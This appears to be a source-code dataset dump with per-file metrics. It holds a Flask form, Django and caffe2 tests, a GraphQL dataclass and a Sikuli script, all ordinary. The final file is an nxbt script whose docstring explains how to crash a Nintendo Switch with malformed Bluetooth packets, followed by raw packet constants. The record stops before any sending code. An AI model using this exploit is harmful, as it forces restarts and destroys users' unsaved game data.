| 0.040816
| 0
| 0.204082
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
c4f0ca3d88e7e3ea67d35ece91f9112f2ba01e57
| 1,029
|
py
|
Python
|
python/Flask-ui/forms.py
|
thormaaw/Signature2Lead
|
9aa1ad1f348f5c4609f8a88adf17c4d8a5eea6c3
|
[
"MIT"
] | null | null | null |
python/Flask-ui/forms.py
|
thormaaw/Signature2Lead
|
9aa1ad1f348f5c4609f8a88adf17c4d8a5eea6c3
|
[
"MIT"
] | 1
|
2018-08-30T21:35:33.000Z
|
2018-08-30T21:35:33.000Z
|
python/Flask-ui/forms.py
|
thormaaw/Signature2Lead
|
9aa1ad1f348f5c4609f8a88adf17c4d8a5eea6c3
|
[
"MIT"
] | 1
|
2018-08-20T16:55:05.000Z
|
2018-08-20T16:55:05.000Z
|
from flask_wtf import Form
from wtforms import StringField, PasswordField, SubmitField
from wtforms.validators import DataRequired, Email, Length
class SignupForm(Form):
first_name = StringField('First name', validators=[DataRequired("Please enter your first name.")])
last_name = StringField('Last name', validators=[DataRequired("Please enter your last name.")])
email = StringField('Email', validators=[DataRequired("Please enter your email address."), Email("Please enter a valid email address.")])
password = PasswordField('Password', validators=[DataRequired("Please enter a password."), Length(min=6, message="Passwords must be at least 6 characters.")])
submit = SubmitField('Sign up')
class Loginform(Form):
email = StringField('Email', validators=[DataRequired("Please enter your email address."), Email("Please enter a valid email address.")])
password = PasswordField('Password', validators=[DataRequired("Please enter your password.")])
submit = SubmitField('Sign in')
| 68.6
| 163
| 0.738581
| 119
| 1,029
| 6.361345
| 0.327731
| 0.116248
| 0.221929
| 0.261559
| 0.55218
| 0.546896
| 0.438573
| 0.438573
| 0.438573
| 0.438573
| 0
| 0.002257
| 0.13897
| 1,029
| 15
| 164
| 68.6
| 0.852144
| 0
| 0
| 0.153846
| 0
| 0
| 0.33563
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0.230769
| 0.230769
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
|
0
| 4
|
f208413fe8b35376b89b5fc328584b3f4fa813a4
| 135
|
py
|
Python
|
Scraper/Writers/CommonWriter.py
|
igortereshchenko/webanalytics
|
859e18f23ccddc64f995c53148ac4e6e69a9382c
|
[
"MIT"
] | null | null | null |
Scraper/Writers/CommonWriter.py
|
igortereshchenko/webanalytics
|
859e18f23ccddc64f995c53148ac4e6e69a9382c
|
[
"MIT"
] | null | null | null |
Scraper/Writers/CommonWriter.py
|
igortereshchenko/webanalytics
|
859e18f23ccddc64f995c53148ac4e6e69a9382c
|
[
"MIT"
] | 1
|
2020-11-06T14:21:14.000Z
|
2020-11-06T14:21:14.000Z
|
class CommonWriter:
"""
Writer interface
"""
def write(self, dictionary):
raise Exception("unimplemented")
| 19.285714
| 40
| 0.6
| 11
| 135
| 7.363636
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.288889
| 135
| 7
| 40
| 19.285714
| 0.84375
| 0.118519
| 0
| 0
| 0
| 0
| 0.13
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
1ee75eeda88658ce96c773c2ae452a1aea6f7cbc
| 8,449
|
py
|
Python
|
lab1_rest/project/apps/core/tester.py
|
mratkovic/RZNU-Lab
|
2930b249994619c2f17493544db2c0d471ca6cbc
|
[
"MIT"
] | null | null | null |
lab1_rest/project/apps/core/tester.py
|
mratkovic/RZNU-Lab
|
2930b249994619c2f17493544db2c0d471ca6cbc
|
[
"MIT"
] | null | null | null |
lab1_rest/project/apps/core/tester.py
|
mratkovic/RZNU-Lab
|
2930b249994619c2f17493544db2c0d471ca6cbc
|
[
"MIT"
] | null | null | null |
from rest_framework.test import APIRequestFactory
from rest_framework.test import APIClient
from requests.auth import HTTPBasicAuth
from django.urls import reverse
from rest_framework import status
from rest_framework.test import APITestCase
from core.models import User, Photo
from django.contrib.auth.models import User as Admin
import base64
HOST = 'http://localhost:8000'
UNAME = 'test_root'
TEST_USER = Admin.objects.get(username=UNAME)
SAMPLE_IMG_PATH = r'/home/marko/Projects/faks/RZNU/lab1_rest/media/photos/sample.png'
def resolve(path):
if not path.startswith('/'):
path = '/' + path
if not path.endswith('/'):
path += '/'
return HOST + path
class UserTests(APITestCase):
def login(self):
self.client.force_authenticate(TEST_USER)
def logout(self):
self.client.force_authenticate()
def make_test_user(self, data={'name': 'TestingUser', 'email': 'test@test.com'}):
url = resolve('/api/users/')
self.login()
response = self.client.post(url, data, format='json')
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
self.logout()
return response
def test_get_users(self):
url = resolve('/api/users/')
response = self.client.get(url, format='json')
self.assertEqual(response.status_code, status.HTTP_200_OK)
def test_create_user(self):
self.make_test_user()
self.assertEqual(User.objects.count(), 1)
self.assertEqual(User.objects.get().name, 'TestingUser')
def test_create_users(self):
self.make_test_user(data={'name': 'TestingUser', 'email': 'test@test.com'})
self.make_test_user(data={'name': 'TestingUser2', 'email': 'test@test.com'})
self.assertEqual(User.objects.count(), 2)
users = User.objects.all()
self.assertEqual(users[0].name, 'TestingUser')
self.assertEqual(users[1].name, 'TestingUser2')
self.logout()
def test_get_single_user(self):
self.make_test_user()
url = resolve('/api/users/1/')
response = self.client.get(url, format='json')
self.assertEqual(response.status_code, status.HTTP_200_OK)
def test_update_single_user(self):
self.make_test_user()
self.assertEqual(User.objects.count(), 1)
url = resolve('/api/users/1/')
data = {'name': 'TestingUserUpdated', 'email': 'test@test.com'}
self.login()
response = self.client.put(url, data, format='json')
self.logout()
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertEqual(User.objects.count(), 1)
self.assertEqual(User.objects.get().name, 'TestingUserUpdated')
def test_delete_user(self):
self.make_test_user()
self.assertEqual(User.objects.count(), 1)
url = resolve('/api/users/1/')
self.login()
response = self.client.delete(url, format='json')
self.logout()
self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT)
self.assertEqual(User.objects.count(), 0)
def test_create_user_not_autorized(self):
url = resolve('/api/users/')
data = {'name': 'TestingUser', 'email': 'test@test.com'}
response = self.client.post(url, data, format='json')
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
def test_delete_user_not_autorized(self):
self.make_test_user()
self.assertEqual(User.objects.count(), 1)
url = resolve('/api/users/1/')
response = self.client.delete(url, format='json')
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
def test_update_single_user_not_autorized(self):
self.make_test_user()
self.assertEqual(User.objects.count(), 1)
url = resolve('/api/users/1/')
data = {'name': 'TestingUserUpdated', 'email': 'test@test.com'}
response = self.client.put(url, data, format='json')
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
class PhotoTests(APITestCase):
def login(self):
self.client.force_authenticate(TEST_USER)
def logout(self):
self.client.force_authenticate()
def make_test_user(self, data={'name': 'TestingUser', 'email': 'test@test.com'}):
url = resolve('/api/users/')
self.login()
response = self.client.post(url, data, format='json')
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
self.logout()
return response
def load_sample_image(self):
with open(SAMPLE_IMG_PATH, "rb") as image_file:
encoded_string = base64.b64encode(image_file.read())
return encoded_string
def make_test_photo(self, user_id=1, title='sample image'):
data={'user': user_id, 'title': title, 'image': self.load_sample_image()}
url = resolve('/api/photos/')
self.login()
response = self.client.post(url, data, format='json')
self.logout()
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
return response
def delete_photo(self, id=1):
url = resolve('/api/photos/1/')
self.login()
response = self.client.delete(url, format='json')
self.logout()
self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT)
def test_get_photos(self):
url = resolve('/api/photos/')
response = self.client.get(url, format='json')
self.assertEqual(response.status_code, status.HTTP_200_OK)
def test_create_photo(self):
self.make_test_user()
title = 'sample img'
response = self.make_test_photo(1, title)
self.assertEqual(Photo.objects.count(), 1)
self.assertEqual(Photo.objects.get().title, title)
self.assertEqual(Photo.objects.get().user.id, 1)
self.delete_photo()
def test_get_single_photo(self):
self.make_test_user()
self.make_test_photo()
url = resolve('/api/photos/1/')
response = self.client.get(url, format='json')
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.delete_photo()
def test_update_single_photo(self):
self.make_test_user()
self.make_test_photo(title='sampleImage')
self.assertEqual(Photo.objects.count(), 1)
self.assertEqual(Photo.objects.get().title, 'sampleImage')
url = resolve('/api/photos/1/')
data={'user': 1, 'title': 'new title', 'image': self.load_sample_image()}
self.login()
response = self.client.put(url, data, format='json')
self.logout()
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertEqual(Photo.objects.count(), 1)
self.assertEqual(Photo.objects.get().title, 'new title')
self.delete_photo()
def test_delete_photo(self):
self.make_test_user()
self.make_test_photo()
self.assertEqual(Photo.objects.count(), 1)
url = resolve('/api/photos/1/')
self.login()
response = self.client.delete(url, format='json')
self.logout()
self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT)
self.assertEqual(Photo.objects.count(), 0)
def test_create_photo_not_autorized(self):
url = resolve('/api/photos/')
data={'user': 1, 'title': 'sample_image', 'image': self.load_sample_image()}
response = self.client.post(url, data, format='json')
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
def test_delete_photo_not_autorized(self):
self.make_test_user()
self.make_test_photo()
self.assertEqual(User.objects.count(), 1)
url = resolve('/api/photos/1/')
response = self.client.delete(url, format='json')
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
self.delete_photo()
def test_update_single_photo_not_autorized(self):
self.make_test_user()
self.make_test_photo()
self.assertEqual(Photo.objects.count(), 1)
url = resolve('/api/photos/1/')
data={'user': 1, 'title': 'new_title', 'image': self.load_sample_image()}
response = self.client.put(url, data, format='json')
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
self.delete_photo()
| 32.003788
| 85
| 0.651083
| 1,057
| 8,449
| 5.018921
| 0.10596
| 0.115928
| 0.04524
| 0.098398
| 0.80754
| 0.751178
| 0.712724
| 0.692743
| 0.672008
| 0.664467
| 0
| 0.015336
| 0.212806
| 8,449
| 263
| 86
| 32.125475
| 0.782288
| 0
| 0
| 0.643243
| 0
| 0
| 0.09923
| 0.007578
| 0
| 0
| 0
| 0
| 0.221622
| 1
| 0.145946
| false
| 0
| 0.048649
| 0
| 0.232432
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
1ef682ca056a0b9d530a9c1b0faa7b3e7f0f8701
| 6,664
|
py
|
Python
|
venv/Lib/site-packages/caffe2/python/operator_test/storm_test.py
|
Westlanderz/AI-Plat1
|
1187c22819e5135e8e8189c99b86a93a0d66b8d8
|
[
"MIT"
] | 1
|
2022-01-08T12:30:44.000Z
|
2022-01-08T12:30:44.000Z
|
venv/Lib/site-packages/caffe2/python/operator_test/storm_test.py
|
Westlanderz/AI-Plat1
|
1187c22819e5135e8e8189c99b86a93a0d66b8d8
|
[
"MIT"
] | null | null | null |
venv/Lib/site-packages/caffe2/python/operator_test/storm_test.py
|
Westlanderz/AI-Plat1
|
1187c22819e5135e8e8189c99b86a93a0d66b8d8
|
[
"MIT"
] | null | null | null |
import functools
from hypothesis import given, settings, HealthCheck
import hypothesis.strategies as st
import numpy as np
from caffe2.python import core
import caffe2.python.hypothesis_test_util as hu
class TestStorm(hu.HypothesisTestCase):
@given(inputs=hu.tensors(n=3),
grad_sq_sum=st.floats(min_value=0.01, max_value=0.99,
allow_nan=False, allow_infinity=False),
lr=st.floats(min_value=0.01, max_value=1.0,
allow_nan=False, allow_infinity=False),
momentum=st.floats(min_value=0.1, max_value=100.0,
allow_nan=False, allow_infinity=False),
beta=st.floats(min_value=0.1, max_value=10.0,
allow_nan=False, allow_infinity=False),
**hu.gcs_cpu_only)
def test_storm_dense(self, inputs, grad_sq_sum, lr, momentum, beta, gc, dc):
param, moment, grad = inputs
grad_sq_sum = np.array([grad_sq_sum], dtype=np.float32)
lr = np.array([lr], dtype=np.float32)
op = core.CreateOperator(
"Storm",
["param", "moment", "grad_sq_sum", "grad", "lr"],
["param", "moment", "grad_sq_sum"],
momentum=momentum,
beta=beta,
device_option=gc
)
def ref_dense(param, moment, grad_sq_sum, grad, lr, momentum, beta):
grad_sq_sum_out = grad_sq_sum + np.sum(grad * grad)
nlr = lr * np.power(beta + grad_sq_sum_out, -1.0 / 3.0)
alpha = momentum * np.square(nlr)
moment_out = grad + (1 - alpha) * (moment - grad)
param_out = param + nlr * moment_out
return (param_out.astype(np.float32), moment_out.astype(np.float32),
grad_sq_sum_out.astype(np.float32))
self.assertReferenceChecks(
gc, op,
[param, moment, grad_sq_sum, grad, lr],
functools.partial(ref_dense, momentum=momentum, beta=beta)
)
# Suppress filter_too_much health check.
# Likely caused by `assume` call falling through too often.
@settings(suppress_health_check=[HealthCheck.filter_too_much])
@given(inputs=hu.tensors(n=3),
grad_sq_sum=st.floats(min_value=0.01, max_value=0.99,
allow_nan=False, allow_infinity=False),
lr=st.floats(min_value=0.01, max_value=1.0,
allow_nan=False, allow_infinity=False),
momentum=st.floats(min_value=0.1, max_value=100.0,
allow_nan=False, allow_infinity=False),
beta=st.floats(min_value=0.1, max_value=10.0,
allow_nan=False, allow_infinity=False),
**hu.gcs_cpu_only)
def test_storm_sparse(self, inputs, grad_sq_sum, lr,
momentum, beta, gc, dc):
param, moment, grad = inputs
grad_sq_sum = np.array([grad_sq_sum], dtype=np.float32)
lr = np.array([lr], dtype=np.float32)
# Create an indexing array containing values that are lists of indices,
# which index into grad
indices = np.random.choice(np.arange(grad.shape[0]),
size=np.random.randint(grad.shape[0]),
replace=False)
# Sparsify grad
grad = grad[indices]
op = core.CreateOperator(
"SparseStorm",
["param", "moment", "grad_sq_sum", "grad", "indices", "lr"],
["param", "moment", "grad_sq_sum"],
momentum=momentum,
beta=beta,
device_option=gc)
def ref_sparse(param, moment, grad_sq_sum, grad, indices,
lr, momentum, beta):
param_out = np.copy(param)
moment_out = np.copy(moment)
grad_sq_sum_out = np.copy(grad_sq_sum)
grad_sq_sum_out = grad_sq_sum + np.sum(grad * grad)
nlr = lr * np.power(beta + grad_sq_sum_out, -1.0 / 3.0)
alpha = momentum * np.square(nlr)
for i, index in enumerate(indices):
gi = grad[i]
moment_out[index] = gi + (1 - alpha) * (moment[index] - gi)
param_out[index] = param[index] + nlr * moment_out[index]
return (param_out.astype(np.float32), moment_out.astype(np.float32),
grad_sq_sum_out.astype(np.float32))
self.assertReferenceChecks(
gc, op,
[param, moment, grad_sq_sum, grad, indices, lr],
functools.partial(ref_sparse, momentum=momentum, beta=beta)
)
@given(inputs=hu.tensors(n=2),
grad_sq_sum=st.floats(min_value=0.01, max_value=0.99,
allow_nan=False, allow_infinity=False),
lr=st.floats(min_value=0.01, max_value=1.0,
allow_nan=False, allow_infinity=False),
momentum=st.floats(min_value=0.1, max_value=100.0,
allow_nan=False, allow_infinity=False),
beta=st.floats(min_value=0.1, max_value=10.0,
allow_nan=False, allow_infinity=False),
data_strategy=st.data(),
**hu.gcs_cpu_only)
def test_storm_sparse_empty(self, inputs, grad_sq_sum, lr, momentum,
beta, data_strategy, gc, dc):
param, moment = inputs
grad_sq_sum = np.array([grad_sq_sum], dtype=np.float32)
lr = np.array([lr], dtype=np.float32)
grad = np.empty(shape=(0,) + param.shape[1:], dtype=np.float32)
indices = np.empty(shape=(0,), dtype=np.int64)
op = core.CreateOperator(
"SparseStorm",
["param", "moment", "grad_sq_sum", "grad", "indices", "lr"],
["param", "moment", "grad_sq_sum"],
momentum=momentum,
beta=beta,
device_option=gc)
def ref_sparse_empty(param, moment, grad_sq_sum, grad, indices,
lr, momentum, beta):
param_out = np.copy(param)
moment_out = np.copy(moment)
grad_sq_sum_out = np.copy(grad_sq_sum)
return (param_out.astype(np.float32), moment_out.astype(np.float32),
grad_sq_sum_out.astype(np.float32))
self.assertReferenceChecks(
gc, op,
[param, moment, grad_sq_sum, grad, indices, lr],
functools.partial(ref_sparse_empty, momentum=momentum, beta=beta)
)
| 42.177215
| 81
| 0.553121
| 828
| 6,664
| 4.233092
| 0.146135
| 0.063338
| 0.095007
| 0.059914
| 0.728103
| 0.72097
| 0.72097
| 0.706134
| 0.686448
| 0.686448
| 0
| 0.027039
| 0.334034
| 6,664
| 157
| 82
| 42.44586
| 0.762731
| 0.030312
| 0
| 0.664
| 0
| 0
| 0.030346
| 0
| 0
| 0
| 0
| 0
| 0.024
| 1
| 0.048
| false
| 0
| 0.048
| 0
| 0.128
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
480598f8fc290b9484741b06e14a3a6fd0606435
| 1,430
|
py
|
Python
|
symphony/cli/pyinventory/graphql/survey_question_response_input.py
|
marosmars/magma
|
51177a6ad7e66216184693a7b3d1dc58f901cd0e
|
[
"BSD-3-Clause"
] | 2
|
2020-11-05T18:58:26.000Z
|
2021-02-09T06:42:49.000Z
|
symphony/cli/pyinventory/graphql/survey_question_response_input.py
|
marosmars/magma
|
51177a6ad7e66216184693a7b3d1dc58f901cd0e
|
[
"BSD-3-Clause"
] | 2
|
2021-03-31T19:41:55.000Z
|
2021-12-13T20:39:15.000Z
|
symphony/cli/pyinventory/graphql/survey_question_response_input.py
|
marosmars/magma
|
51177a6ad7e66216184693a7b3d1dc58f901cd0e
|
[
"BSD-3-Clause"
] | 1
|
2021-04-16T02:19:25.000Z
|
2021-04-16T02:19:25.000Z
|
#!/usr/bin/env python3
# @generated AUTOGENERATED file. Do not Change!
from dataclasses import dataclass
from datetime import datetime
from functools import partial
from gql.gql.datetime_utils import DATETIME_FIELD
from numbers import Number
from typing import Any, Callable, List, Mapping, Optional
from dataclasses_json import DataClassJsonMixin
from gql.gql.enum_utils import enum_field
from .survey_question_type_enum import SurveyQuestionType
from .file_input import FileInput
from .survey_cell_scan_data_input import SurveyCellScanData
from .survey_wi_fi_scan_data_input import SurveyWiFiScanData
@dataclass
class SurveyQuestionResponse(DataClassJsonMixin):
formIndex: int
questionText: str
questionIndex: int
wifiData: List[SurveyWiFiScanData]
cellData: List[SurveyCellScanData]
imagesData: List[FileInput]
formName: Optional[str] = None
formDescription: Optional[str] = None
questionFormat: Optional[SurveyQuestionType] = None
boolData: Optional[bool] = None
emailData: Optional[str] = None
latitude: Optional[Number] = None
longitude: Optional[Number] = None
locationAccuracy: Optional[Number] = None
altitude: Optional[Number] = None
phoneData: Optional[str] = None
textData: Optional[str] = None
floatData: Optional[Number] = None
intData: Optional[int] = None
dateData: Optional[int] = None
photoData: Optional[FileInput] = None
| 33.255814
| 60
| 0.774825
| 163
| 1,430
| 6.687117
| 0.435583
| 0.050459
| 0.068807
| 0.034862
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.00083
| 0.157343
| 1,430
| 42
| 61
| 34.047619
| 0.903734
| 0.046853
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.342857
| 0
| 0.971429
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
4833761b69f4a2f8ff19dbc95aa7e8f2327573e8
| 15
|
py
|
Python
|
apps/loader/parsers/__init__.py
|
PremierLangage/premierlangage
|
7134a2aadffee2bf264abee6c4b23ea33f1b390b
|
[
"CECILL-B"
] | 8
|
2019-01-30T13:51:59.000Z
|
2022-01-08T03:26:53.000Z
|
apps/loader/parsers/__init__.py
|
PremierLangage/premierlangage
|
7134a2aadffee2bf264abee6c4b23ea33f1b390b
|
[
"CECILL-B"
] | 286
|
2019-01-18T21:35:51.000Z
|
2022-03-24T18:53:59.000Z
|
apps/loader/parsers/__init__.py
|
PremierLangage/premierlangage
|
7134a2aadffee2bf264abee6c4b23ea33f1b390b
|
[
"CECILL-B"
] | 4
|
2019-02-11T13:38:30.000Z
|
2021-03-02T20:59:00.000Z
|
# DO not erase
| 7.5
| 14
| 0.666667
| 3
| 15
| 3.333333
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.266667
| 15
| 1
| 15
| 15
| 0.909091
| 0.8
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
484d83cb9b460f7d723ca752c7a91d7e84bc89f3
| 84
|
py
|
Python
|
FitNesseRoot/files/sikuliScripts/Apple.sikuli/Apple.py
|
xebia/FitnesseSikuli
|
47730bdd59e61f3462b0c40e00e9ce47fe3d1d64
|
[
"Apache-2.0"
] | 1
|
2018-08-09T10:55:49.000Z
|
2018-08-09T10:55:49.000Z
|
FitNesseRoot/files/sikuliScripts/Apple.sikuli/Apple.py
|
xebia/FitnesseSikuli
|
47730bdd59e61f3462b0c40e00e9ce47fe3d1d64
|
[
"Apache-2.0"
] | 1
|
2015-03-30T07:49:48.000Z
|
2015-03-30T07:49:48.000Z
|
FitNesseRoot/files/sikuliScripts/Apple.sikuli/Apple.py
|
xebia/FitnesseSikuli
|
47730bdd59e61f3462b0c40e00e9ce47fe3d1d64
|
[
"Apache-2.0"
] | 3
|
2015-03-26T14:11:21.000Z
|
2018-10-30T22:15:37.000Z
|
click("apple.png")
click("search.png")
wait("Spotlight.png")
click("SpotlightQ.png")
| 21
| 23
| 0.72619
| 12
| 84
| 5.083333
| 0.583333
| 0.262295
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.035714
| 84
| 4
| 23
| 21
| 0.753086
| 0
| 0
| 0
| 0
| 0
| 0.541176
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
487f14705fa88d87e6b88bf15526b1f152a4babc
| 8,987
|
py
|
Python
|
scripts/crash_switch.py
|
Yamakaky/nxbt
|
0fe9acaaf0fac8014f9aaee53943711a106b572c
|
[
"MIT"
] | null | null | null |
scripts/crash_switch.py
|
Yamakaky/nxbt
|
0fe9acaaf0fac8014f9aaee53943711a106b572c
|
[
"MIT"
] | null | null | null |
scripts/crash_switch.py
|
Yamakaky/nxbt
|
0fe9acaaf0fac8014f9aaee53943711a106b572c
|
[
"MIT"
] | null | null | null |
"""
---------------------------------------------------
--> THIS SCRIPT WILL CRASH YOUR NINTENDO SWITCH <--
---------------------------------------------------
Any save data or active game state will be lost
since this forces a restart. I take no
responsibility whatsoever for any lost data or
harm caused by this script.
RUN THIS AT YOUR OWN RISK!
---------------------------------------------------
DIRECTIONS FOR USE
---------------------------------------------------
This script was tested with a Raspberry Pi 4B (4GB),
Python 3.7.3, and a Nintendo Switch on firmware v10.1.0
1.) Open the "Change Grip/Order" menu on your
Nintendo Switch.
2.) Start this script with sudo privileges.
3.) Watch your Switch crash.
---------------------------------------------------
HOW DOES THIS WORK?
---------------------------------------------------
The Switch protects itself against malformed
packets when controllers initially connect. This
defensiveness, however, is dropped after a
controller successfully connects to the Switch.
After a successful connection, we can exploit this
by blasting the Switch with malformed (specifically
empty) packets. Since the Switch isn't expecting this,
we trigger a cascade of errors, resulting in the
crash.
"""
import socket
import sys
import os
import time
import fcntl
from nxbt import toggle_input_plugin
from nxbt import BlueZ
from nxbt import Controller
from nxbt import PRO_CONTROLLER
REQUEST_INFO = b'\xA2\x21\x1A\x40\x00\x00\x00\x02\x20\x00\x01\x00\x00\x00\x82\x02\x03\x48\x03\x02\xDC\xA6\x32\x16\x4A\x7C\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
SET_SHIPMENT = b'\xA1\x21\xF2\x40\x00\x00\x00\x10\x18\x76\x44\x97\x73\x0B\x80\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
SERIAL_NUMBER = b'\xA1\x21\x00\x40\x00\x00\x00\x12\x08\x76\x42\x77\x73\x0C\x90\x10\x00\x60\x00\x00\x10\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
COLOURS = b'\xA1\x21\x26\x40\x00\x00\x00\x11\xF8\x75\x44\x87\x73\x0C\x90\x10\x50\x60\x00\x00\x0D\x32\x32\x32\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
INPUT_MODE = b'\xA1\x21\x5B\x40\x00\x00\x00\x10\x18\x76\x45\x87\x73\x0C\x80\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
TRIGGER_BUTTONS = b'\xA1\x21\xAA\x40\x00\x00\x00\x11\x08\x76\x44\x87\x73\x0B\x83\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
FACTORY_PARAMS = b'\xA1\x21\xEE\x40\x00\x00\x00\x10\xD8\x75\x43\x87\x73\x0C\x90\x10\x80\x60\x00\x00\x18\x50\xFD\x00\x00\xC6\x0F\x0F\x30\x61\x96\x30\xF3\xD4\x14\x54\x41\x15\x54\xC7\x79\x9C\x33\x36\x63\x00\x00\x00\x00\x00'
FACTORY_PARAMS_2 = b'\xA1\x21\x15\x40\x00\x00\x00\x11\x18\x76\x45\x97\x73\x0B\x90\x10\x98\x60\x00\x00\x12\x0F\x30\x61\x96\x30\xF3\xD4\x14\x54\x41\x15\x54\xC7\x79\x9C\x33\x36\x63\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
USER_CAL = b'\xA1\x21\x49\x40\x00\x00\x00\x12\x08\x76\x43\xA7\x73\x0A\x90\x10\x10\x80\x00\x00\x18\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00'
FACTORY_CAL = b'\xA1\x21\x65\x40\x00\x00\x00\x0F\x38\x76\x46\x87\x73\x0A\x90\x10\x3D\x60\x00\x00\x19\x31\x96\x61\xEA\xE7\x73\xA4\xF5\x5D\x55\x27\x75\xA7\xD5\x5B\x3A\x16\x59\xFF\x32\x32\x32\xFF\xFF\xFF\x00\x00\x00\x00'
SIX_AXIS_CAL = b'\xA1\x21\x8D\x40\x00\x00\x00\x10\x08\x76\x44\x67\x73\x08\x90\x10\x20\x60\x00\x00\x18\x32\x00\xFA\xFE\x38\x01\x00\x40\x00\x40\x00\x40\x03\x00\xEE\xFF\xD9\xFF\x3B\x34\x3B\x34\x3B\x34\x00\x00\x00\x00\x00'
ENABLE_IMU = b'\xA1\x21\xBB\x40\x00\x00\x00\x11\x08\x76\x45\x87\x73\x02\x80\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
